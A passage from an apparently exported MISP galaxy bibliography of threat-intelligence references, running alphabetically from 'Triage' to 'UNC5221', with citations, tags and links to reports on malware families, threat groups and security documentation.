https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf

Triage 23893f035f8564dfea5030b9fdd54120d96072bb

tria.ge. (n.d.). Triage 23893f035f8564dfea5030b9fdd54120d96072bb. Retrieved October 20, 2023.

The tag is: *misp-galaxy:references="Triage 23893f035f8564dfea5030b9fdd54120d96072bb"*

Table 23697. Table References

Links
https://tria.ge/230726-q34mlacc72

Triage e82c11612c0870e8175eafa8c9c5f9151d0b80d7

tria.ge. (n.d.). Triage e82c11612c0870e8175eafa8c9c5f9151d0b80d7. Retrieved October 20, 2023.

The tag is: *misp-galaxy:references="Triage e82c11612c0870e8175eafa8c9c5f9151d0b80d7"*

Table 23698. Table References

Links
https://tria.ge/231004-q6y7aaeb22

exatrack bpf filters passive backdoors

ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.

The tag is: *misp-galaxy:references="exatrack bpf filters passive backdoors"*

Table 23699. Table References

Links
https://exatrack.com/public/Tricephalic_Hellkeeper.pdf

Malwarebytes TrickBot Sep 2019

Umawing, J. (2019, September 3). TrickBot adds new trick to its arsenal: tampering with trusted texts. Retrieved June 15, 2020.

The tag is: *misp-galaxy:references="Malwarebytes TrickBot Sep 2019"*

Table 23700. Table References

Links
https://blog.malwarebytes.com/trojans/2019/09/trickbot-adds-new-trick-to-its-arsenal-tampering-with-trusted-texts/

TrendMicro Trickbot Feb 2019

Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.

The tag is: *misp-galaxy:references="TrendMicro Trickbot Feb 2019"*

Table 23701. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/

Eclypsium Trickboot December 2020

Eclypsium, Advanced Intelligence. (2020, December 1). TRICKBOT NOW OFFERS 'TRICKBOOT': PERSIST, BRICK, PROFIT. Retrieved March 15, 2021.

The tag is: *misp-galaxy:references="Eclypsium Trickboot December 2020"*

Table 23702. Table References

Links
https://eclypsium.com/wp-content/uploads/2020/12/TrickBot-Now-Offers-TrickBoot-Persist-Brick-Profit.pdf

IBM X-Force ITG23 Oct 2021

Villadsen, O., et al. (2021, October 13). Trickbot Rising - Gang Doubles Down on Infection Efforts to Amass Network Footholds. Retrieved June 15, 2023.

The tag is: *misp-galaxy:references="IBM X-Force ITG23 Oct 2021"*

Table 23703. Table References

Links

https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/

Trend Micro Trickbot Nov 2018

Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.

The tag is: *misp-galaxy:references="Trend Micro Trickbot Nov 2018"*

Table 23704. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/

Joe Sec Trickbot

Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.

The tag is: *misp-galaxy:references="Joe Sec Trickbot"*

Table 23705. Table References

Links
https://www.joesecurity.org/blog/498839998833561473

Fortinet TrickBot

Bacurio Jr., F. and Salvio, J. (2018, April 9). Trickbot's New Reconnaissance Plugin. Retrieved February 14, 2019.

The tag is: *misp-galaxy:references="Fortinet TrickBot"*

Table 23706. Table References

Links
https://www.fortinet.com/blog/threat-research/trickbot-s-new-reconnaissance-plugin.html

Trickbot VNC module July 2021

Ionut Illascu. (2021, July 14). Trickbot updates its VNC module for high-value targets. Retrieved September 10, 2021.

The tag is: *misp-galaxy:references="Trickbot VNC module July 2021"*

Table 23707. Table References

Links
https://www.bleepingcomputer.com/news/security/trickbot-updates-its-vnc-module-for-high-value-targets/

Fidelis TrickBot Oct 2016

Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.

The tag is: *misp-galaxy:references="Fidelis TrickBot Oct 2016"*

Table 23708. Table References

Links
https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre

Bromium Ursnif Mar 2017

Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.

The tag is: *misp-galaxy:references="Bromium Ursnif Mar 2017"*

Table 23709. Table References

Links
https://www.bromium.com/how-ursnif-evades-detection/

IBM TrickBot Nov 2016

Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot's Machinations. Retrieved August 2, 2018.

The tag is: *misp-galaxy:references="IBM TrickBot Nov 2016"*

Table 23710. Table References

Links
https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/

TrendMictro Phishing

Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="TrendMictro Phishing"*

Table 23711. Table References

Links

https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html

Trimarc Detecting Password Spraying

Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.

The tag is: *misp-galaxy:references="Trimarc Detecting Password Spraying"*

Table 23712. Table References

Links
https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing

Emotet Deploys TrickBot

Cybereason Nocturnus. (n.d.). Triple Threat: Emotet Deploys TrickBot to Steal Data & Spread Ryuk. Retrieved November 28, 2023.

The tag is: *misp-galaxy:references="Emotet Deploys TrickBot"*

Table 23713. Table References

Links
https://www.cybereason.com/blog/research/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware#:}:text=TrickBot%20uses%20a%20hidden%20VNC

Dragos TRISIS

Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 6, 2021.

The tag is: *misp-galaxy:references="Dragos TRISIS"*

Table 23714. Table References

Links
https://www.dragos.com/wp-content/uploads/TRISIS-01.pdf

FireEye TRITON 2019

Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.

The tag is: *misp-galaxy:references="FireEye TRITON 2019"*

Table 23715. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html

FireEye TEMP.Veles JSON April 2019

Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019.

The tag is: *misp-galaxy:references="FireEye TEMP.Veles JSON April 2019"*

Table 23716. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html

FireEye TEMP.Veles 2018

FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.

The tag is: *misp-galaxy:references="FireEye TEMP.Veles 2018"*

Table 23717. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html

Palo Alto MoonWind March 2017

Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.

The tag is: *misp-galaxy:references="Palo Alto MoonWind March 2017"*

Table 23718. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

Acronis XLoader 2021

Acronis. (2021, November 26). Trojan-as-a-service: From Formbook to XLoader. Retrieved March 11,

2025.

The tag is: *misp-galaxy:references="Acronis XLoader 2021"*

Table 23719. Table References

Links
https://www.acronis.com/en-us/cyber-protection-center/posts/trojan-as-a-service-from-formbook-to-xloader/

CyberESI GTALK

CyberESI. (2011). TROJAN.GTALK. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="CyberESI GTALK"*

Table 23720. Table References

Links
https://web.archive.org/web/20141226203328/http://www.cyberengineeringservices.com/2011/12/15/trojan-gtalk/

Symantec Hydraq Jan 2010

Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.

The tag is: *misp-galaxy:references="Symantec Hydraq Jan 2010"*

Table 23721. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99

Symantec Security Center Trojan.Kwampirs

Moench, B. and Aboud, E. (2016, August 23). Trojan.Kwampirs. Retrieved May 10, 2018.

The tag is: *misp-galaxy:references="Symantec Security Center Trojan.Kwampirs"*

Table 23722. Table References

Links
https://www.symantec.com/security-center/writeup/2016-081923-2700-99

Symantec Naid June 2012

Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.

The tag is: *misp-galaxy:references="Symantec Naid June 2012"*

Table 23723. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99

Symantec Pasam May 2012

Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.

The tag is: *misp-galaxy:references="Symantec Pasam May 2012"*

Table 23724. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99

Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017

Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017"*

Table 23725. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918

Symantec Ushedix June 2008

Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="Symantec Ushedix June 2008"*

Table 23726. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2

Symantec Volgmer Aug 2014

Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.

The tag is: *misp-galaxy:references="Symantec Volgmer Aug 2014"*

Table 23727. Table References

Links

https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2

FSecure Lokibot November 2019

Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020.

The tag is: *misp-galaxy:references="FSecure Lokibot November 2019"*

Table 23728. Table References

Links
https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml

Microsoft Totbrick Oct 2017

Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.

The tag is: *misp-galaxy:references="Microsoft Totbrick Oct 2017"*

Table 23729. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick

Ciubotariu 2014

Ciubotariu, M. (2014, January 23). Trojan.Zeroaccess.C Hidden in NTFS EA. Retrieved December 2, 2014.

The tag is: *misp-galaxy:references="Ciubotariu 2014"*

Table 23730. Table References

Links
http://www.symantec.com/connect/blogs/trojanzeroaccessc-hidden-ntfs-ea

TrendMicro TROJ-FAKEAV OCT 2012

Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.

The tag is: *misp-galaxy:references="TrendMicro TROJ-FAKEAV OCT 2012"*

Table 23731. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd

troj_zegost

Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.

The tag is: *misp-galaxy:references="troj_zegost"*

Table 23732. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost

ASEC Troll Stealer 2024

AhnLab ASEC. (2024, February 16). TrollAgent That Infects Systems Upon Security Program Installation Process (Kimsuky Group). Retrieved January 17, 2025.

The tag is: *misp-galaxy:references="ASEC Troll Stealer 2024"*

Table 23733. Table References

Links
https://asec.ahnlab.com/en/61934/

TrendMicro Tropic Trooper May 2020

Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.

The tag is: *misp-galaxy:references="TrendMicro Tropic Trooper May 2020"*

Table 23734. Table References

Links
https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf

TrendMicro Tropic Trooper Mar 2018

Horejsi, J., et al. (2018, March 14). Tropic Trooper’s New Strategy. Retrieved November 9, 2018.

The tag is: *misp-galaxy:references="TrendMicro Tropic Trooper Mar 2018"*

Table 23735. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/

Unit 42 Tropic Trooper Nov 2016

Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.

The tag is: *misp-galaxy:references="Unit 42 Tropic Trooper Nov 2016"*

Table 23736. Table References

Links
https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

paloalto Tropic Trooper 2016

Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.

The tag is: *misp-galaxy:references="paloalto Tropic Trooper 2016"*

Table 23737. Table References

Links
https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Microsoft Conditional Access Policy Changes

Microsoft. (2023, October 23). Troubleshooting Conditional Access policy changes. Retrieved January 2, 2024.

The tag is: *misp-galaxy:references="Microsoft Conditional Access Policy Changes"*

Table 23738. Table References

Links
https://learn.microsoft.com/en-us/entra/identity/conditional-access/troubleshoot-policy-changes-audit-log

GitHub truffleHog

Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="GitHub truffleHog"*

Table 23739. Table References

Links

https://github.com/dxa4481/truffleHog

TCG Trusted Platform Module

Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.

The tag is: *misp-galaxy:references="TCG Trusted Platform Module"*

Table 23740. Table References

Links
http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf

Microsoft Trusts

Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.

The tag is: *misp-galaxy:references="Microsoft Trusts"*

Table 23741. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)

SSHjack Blackhat

Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.

The tag is: *misp-galaxy:references="SSHjack Blackhat"*

Table 23742. Table References

Links
https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf

Trend Micro Totbrick Oct 2016

Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.

The tag is: *misp-galaxy:references="Trend Micro Totbrick Oct 2016"*

Table 23743. Table References

Links

https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n

Ttdinject.exe - LOLBAS Project

LOLBAS. (2020, May 12). Ttdinject.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Ttdinject.exe - LOLBAS Project"*

Table 23744. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/

ttint_rat

Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.

The tag is: *misp-galaxy:references="ttint_rat"*

Table 23745. Table References

Links
https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/

Picus BlackByte 2022

Huseyin Can Yuceel. (2022, February 21). TTPs used by BlackByte Ransomware Targeting Critical Infrastructure. Retrieved December 16, 2024.

The tag is: *misp-galaxy:references="Picus BlackByte 2022"*

Table 23746. Table References

Links
https://www.picussecurity.com/resource/ttps-used-by-blackbyte-ransomware-targeting-critical-infrastructure

Tttracer.exe - LOLBAS Project

LOLBAS. (2019, November 5). Tttracer.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Tttracer.exe - LOLBAS Project"*

Table 23747. Table References

Links

https://lolbas-project.github.io/lolbas/Binaries/Tttracer/

Invincea XTunnel

Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.

The tag is: *misp-galaxy:references="Invincea XTunnel"*

Table 23748. Table References

Links
https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/

Sysadmins of the North April 28 2015

Jan reilink. (2015, April 28). Tunnel RDP through SSH & PuTTY. Retrieved May 25, 2023.

The tag is: *misp-galaxy:references="Sysadmins of the North April 28 2015"*

Table 23749. Table References

Links
https://www.saotn.org/tunnel-rdp-through-ssh/

ThreatGeek Derusbi Converge

Fidelis Threat Research Team. (2016, May 2). Turbo Twist: Two 64-bit Derusbi Strains Converge. Retrieved August 16, 2018.

The tag is: *misp-galaxy:references="ThreatGeek Derusbi Converge"*

Table 23750. Table References

Links
https://www.fidelissecurity.com/threatgeek/threat-intelligence/turbo-twist-two-64-bit-derusbi-strains-converge

Hunt Sea Turtle 2024

Hunt & Hackett Research Team. (2024, January 5). Turkish espionage campaigns in the Netherlands. Retrieved November 20, 2024.

The tag is: *misp-galaxy:references="Hunt Sea Turtle 2024"*

Table 23751. Table References

Links

https://www.huntandhackett.com/blog/turkish-espionage-campaigns

Mandiant Suspected Turla Campaign February 2023

Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.

The tag is: *misp-galaxy:references="Mandiant Suspected Turla Campaign February 2023"*

Table 23752. Table References

Links
https://www.mandiant.com/resources/blog/turla-galaxy-opportunity

ESET Crutch December 2020

Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020.

The tag is: *misp-galaxy:references="ESET Crutch December 2020"*

Table 23753. Table References

Links
https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/

ESET LightNeuron May 2019

Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.

The tag is: *misp-galaxy:references="ESET LightNeuron May 2019"*

Table 23754. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf

ESET Turla Mosquito May 2018

ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.

The tag is: *misp-galaxy:references="ESET Turla Mosquito May 2018"*

Table 23755. Table References

Links
https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/

ESET Turla August 2018

ESET. (2018, August). Turla Outlook Backdoor: Analysis of an unusual Turla backdoor. Retrieved March 11, 2019.

The tag is: *misp-galaxy:references="ESET Turla August 2018"*

Table 23756. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf

Accenture HyperStack October 2020

Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020.

The tag is: *misp-galaxy:references="Accenture HyperStack October 2020"*

Table 23757. Table References

Links
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity

Gmail Delegation

Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="Gmail Delegation"*

Table 23758. Table References

Links
https://support.google.com/a/answer/7223765?hl=en

Google Cloud Privilege Escalation

Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="Google Cloud Privilege Escalation"*

Table 23759. Table References

Links
https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/

SSH in Windows

Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.

The tag is: *misp-galaxy:references="SSH in Windows"*

Table 23760. Table References

Links
https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh

Microsoft NEODYMIUM Dec 2016

Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.

The tag is: *misp-galaxy:references="Microsoft NEODYMIUM Dec 2016"*

Table 23761. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/

Twitter Richard WMIC

Ackroyd, R. (2023, March 24). Twitter. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Twitter Richard WMIC"*

Table 23762. Table References

Links
https://x.com/rfackroyd/status/1639136000755765254

Twitter Nick Carr APT10

Carr, N.. (2017, April 6). Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Twitter Nick Carr APT10"*

Table 23763. Table References

Links
https://x.com/ItsReallyNick/status/850105140589633536

Crowdstrike KRYPTONITE PANDA August 2018

Adam Kozy. (2018, August 30). Two Birds, One Stone Panda. Retrieved August 24, 2021.

The tag is: *misp-galaxy:references="Crowdstrike KRYPTONITE PANDA August 2018"*

Table 23764. Table References

Links
https://www.crowdstrike.com/blog/two-birds-one-stone-panda/

Two New Monero Malware Attacks Target Windows and Android Users

Douglas Bonderud. (2018, September 17). Two New Monero Malware Attacks Target Windows and Android Users. Retrieved June 5, 2023.

The tag is: *misp-galaxy:references="Two New Monero Malware Attacks Target Windows and Android Users"*

Table 23765. Table References

Links
https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/

Anonymous Sudan Indictment October 16 2024

U.S. Attorney's Office Central District of California. (2024, October 16). Two Sudanese Nationals Indicted for Alleged Role in Anonymous Sudan Cyberattacks. Retrieved October 18, 2024.

The tag is: *misp-galaxy:references="Anonymous Sudan Indictment October 16 2024"*

Table 23766. Table References

Links
https://www.justice.gov/usao-cdca/pr/two-sudanese-nationals-indicted-alleged-role-anonymous-sudan-cyberattacks-hospitals

Trend Micro Pawn Storm April 2017

Hacquebord, F.. (2017, April 25). Two Years of Pawn Storm: Examining an Increasingly Relevant Threat. Retrieved May 3, 2017.

The tag is: *misp-galaxy:references="Trend Micro Pawn Storm April 2017"*

Table 23767. Table References

Links
https://documents.trendmicro.com/assets/wp/wp-two-years-of-pawn-storm.pdf

Tyler McLellan UNC2190 September 26 2024

tylabs. (2024, September 26). Tyler McLellan UNC2190 Tweet. Retrieved October 3, 2024.

The tag is: *misp-galaxy:references="Tyler McLellan UNC2190 September 26 2024"*

Table 23768. Table References

Links
https://x.com/tylabs/status/1839392050086908022

CERT-UA WinterVivern 2023

CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.

The tag is: *misp-galaxy:references="CERT-UA WinterVivern 2023"*

Table 23769. Table References

Links
https://cert.gov.ua/article/3761104

Almond COR_PROFILER Apr 2019

Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020.

The tag is: *misp-galaxy:references="Almond COR_PROFILER Apr 2019"*

Table 23770. Table References

Links
https://offsec.almond.consulting/UAC-bypass-dotnet.html

Github UACMe

UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.

The tag is: *misp-galaxy:references="Github UACMe"*

Table 23771. Table References

Links
https://github.com/hfiref0x/UACME

ZScaler SEO

Wang, J. (2018, October 17). Ubiquitous SEO Poisoning URLs. Retrieved September 30, 2022.

The tag is: *misp-galaxy:references="ZScaler SEO"*

Table 23772. Table References

Links
https://www.zscaler.com/blogs/security-research/ubiquitous-seo-poisoning-urls-0

PaloAlto UBoatRAT Nov 2017

Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.

The tag is: *misp-galaxy:references="PaloAlto UBoatRAT Nov 2017"*

Table 23773. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/

UK NSCS Russia SolarWinds April 2021

UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.

The tag is: *misp-galaxy:references="UK NSCS Russia SolarWinds April 2021"*

Table 23774. Table References

Links
https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise

UK Gov Malign RIS Activity April 2021

UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021.

The tag is: *misp-galaxy:references="UK Gov Malign RIS Activity April 2021"*

Table 23775. Table References

Links
https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services

UK Gov UK Exposes Russia SolarWinds April 2021

UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021.

The tag is: *misp-galaxy:references="UK Gov UK Exposes Russia SolarWinds April 2021"*

Table 23776. Table References

Links
https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise

UK NCSC Olympic Attacks October 2020

UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.

The tag is: *misp-galaxy:references="UK NCSC Olympic Attacks October 2020"*

Table 23777. Table References

Links
https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games

Cisco Ukraine Wipers January 2022

Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.

The tag is: *misp-galaxy:references="Cisco Ukraine Wipers January 2022"*

Table 23778. Table References

Links
https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html

Symantec Ukraine Wipers February 2022

Symantec Threat Hunter Team. (2022, February 24). Ukraine: Disk-wiping Attacks Precede Russian Invasion. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="Symantec Ukraine Wipers February 2022"*

Table 23779. Table References

Links

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia

Bleepingcomputer Gamardeon FSB November 2021

Toulas, B. (2018, November 4). Ukraine links members of Gamaredon hacker group to Russian FSB. Retrieved April 15, 2022.

The tag is: *misp-galaxy:references="Bleepingcomputer Gamardeon FSB November 2021"*

Table 23780. Table References

Links
https://www.bleepingcomputer.com/news/security/ukraine-links-members-of-gamaredon-hacker-group-to-russian-fsb/

Leonard TAG 2023

Billy Leonard. (2023, April 19). Ukraine remains Russia's biggest cyber focus in 2023. Retrieved March 1, 2024.

The tag is: *misp-galaxy:references="Leonard TAG 2023"*

Table 23781. Table References

Links
https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/

Qualys Hermetic Wiper March 2022

Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="Qualys Hermetic Wiper March 2022"*

Table 23782. Table References

Links
https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware

GitHub Ultimate AppLocker Bypass List

Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.

The tag is: *misp-galaxy:references="GitHub Ultimate AppLocker Bypass List"*

Table 23783. Table References

Links
https://github.com/api0cradle/UltimateAppLockerByPassList

uname - Linux man page

die.net. (n.d.). uname - Linux man page. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="uname - Linux man page"*

Table 23784. Table References

Links
https://linux.die.net/man/1/uname

Okta HAR Files RCA

David Bradbury. (2023, November 3). Unauthorized Access to Okta's Support Case Management System: Root Cause and Remediation. Retrieved December 19, 2023.

The tag is: *misp-galaxy:references="Okta HAR Files RCA"*

Table 23785. Table References

Links
https://sec.okta.com/articles/2023/11/unauthorized-access-oktas-support-case-management-system-root-cause

UCF STIG Symbolic Links

UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="UCF STIG Symbolic Links"*

Table 23786. Table References

Links
https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482

G DATA CyberDefense AG March 20 2025

Timo Scholz-Fritsch. (2025, March 20). Unboxing Anubis Exploring the Stealthy Tactics of FIN7's Latest Backdoor. Retrieved April 7, 2025.

The tag is: *misp-galaxy:references="G DATA CyberDefense AG March 20 2025"*

Table 23787. Table References

Links
https://www.gdatasoftware.com/blog/2025/03/38161-analysis-fin7-anubis-backdoor

FireEye FiveHands April 2021

McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021.

The tag is: *misp-galaxy:references="FireEye FiveHands April 2021"*

Table 23788. Table References

Links
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html

Mandiant APT29 Eye Spy Email Nov 22

Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.

The tag is: *misp-galaxy:references="Mandiant APT29 Eye Spy Email Nov 22"*

Table 23789. Table References

Links
https://www.mandiant.com/resources/blog/unc3524-eye-spy-email

Google Cloud June 13 2024

Mandiant. (2024, June 13). UNC3944 Targets SaaS Applications . Retrieved June 17, 2024.

The tag is: *misp-galaxy:references="Google Cloud June 13 2024"*

Table 23790. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications

QuoIntelligence January 22 2024

QuoINT. (2024, January 22). UNC5221 Unreported and Undetected WIREFIRE Web Shell Variant. Retrieved December 12, 2024.

